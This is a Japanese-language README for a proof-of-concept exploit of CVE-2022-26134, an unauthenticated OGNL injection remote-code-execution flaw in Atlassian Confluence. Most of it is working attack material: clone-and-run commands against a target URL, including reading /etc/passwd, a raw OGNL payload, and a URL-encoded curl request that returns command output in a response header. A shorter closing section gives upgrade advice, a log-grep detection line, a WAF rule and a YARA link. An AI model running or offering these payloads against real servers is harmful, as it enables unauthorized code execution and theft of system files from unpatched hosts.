debajyoti0-0/cve-2022-26134Atlassian Confluence (CVE-2022-26134) - 認証不要のOGNLインジェクション脆弱性 (RCE).
Atlassian Confluence 7.18およびそれ以前の製品に影響を与えるリモートコード実行脆弱性を悪用する概念実証スクリプトです。OGNLインジェクション脆弱性により、認証されていないユーザーがConfluence ServerまたはData Centerインスタンス上で任意のコードを実行できます。
サポートされているすべてのバージョンのConfluence ServerおよびData Centerが影響を受けます。
Confluence ServerおよびData Centerのバージョン1.3.0以降、7.18.1未満が影響を受けます。
この脆弱性のCVSSスコアは重大度10/10です。
pip install -r requirements.txt
リポジトリをクローン:
git clone https://github.com/Nwqda/CVE-2022-26134
cd CVE-2022-26134
次に、お好みのコマンドで以下のようにエクスプロイトを実行できます:
python3 cve-2022-26134.py https://target.com "id"
python3 cve-2022-26134.py https://target.com "ps aux"
python3 cve-2022-26134.py https://target.com "cat /etc/passwd"
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
その後、コマンドの結果がレスポンスヘッダーのX-Cmd-Responseパラメータに反映されます。
Atlassianの公式推奨事項に従ってください:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
AtlassianはこのCVEの影響を受ける製品に関するアドバイザリをリリースしました。こちらで確認できます。問題を解決するには、Confluenceのバージョンをアップグレードする必要があります。公開時点での推奨リストは次のとおりです:
ConfluenceはApache Tomcatサーバーであり、ログは/opt/atlassian/confluence/logsにあります。grepなどのコマンドを使用して、Javaランタイムを使用してコマンドを実行するペイロードのHTTP GETリクエストを検索できます。例:
grep -R "/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22" in catalina.out
この脆弱性はすべてのセルフホステッドインスタンスに影響します。WAFを使用している場合は、${を含むURLをブロックできます。
YARA（Volexity製）: https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar
教育目的のみに使用してください。
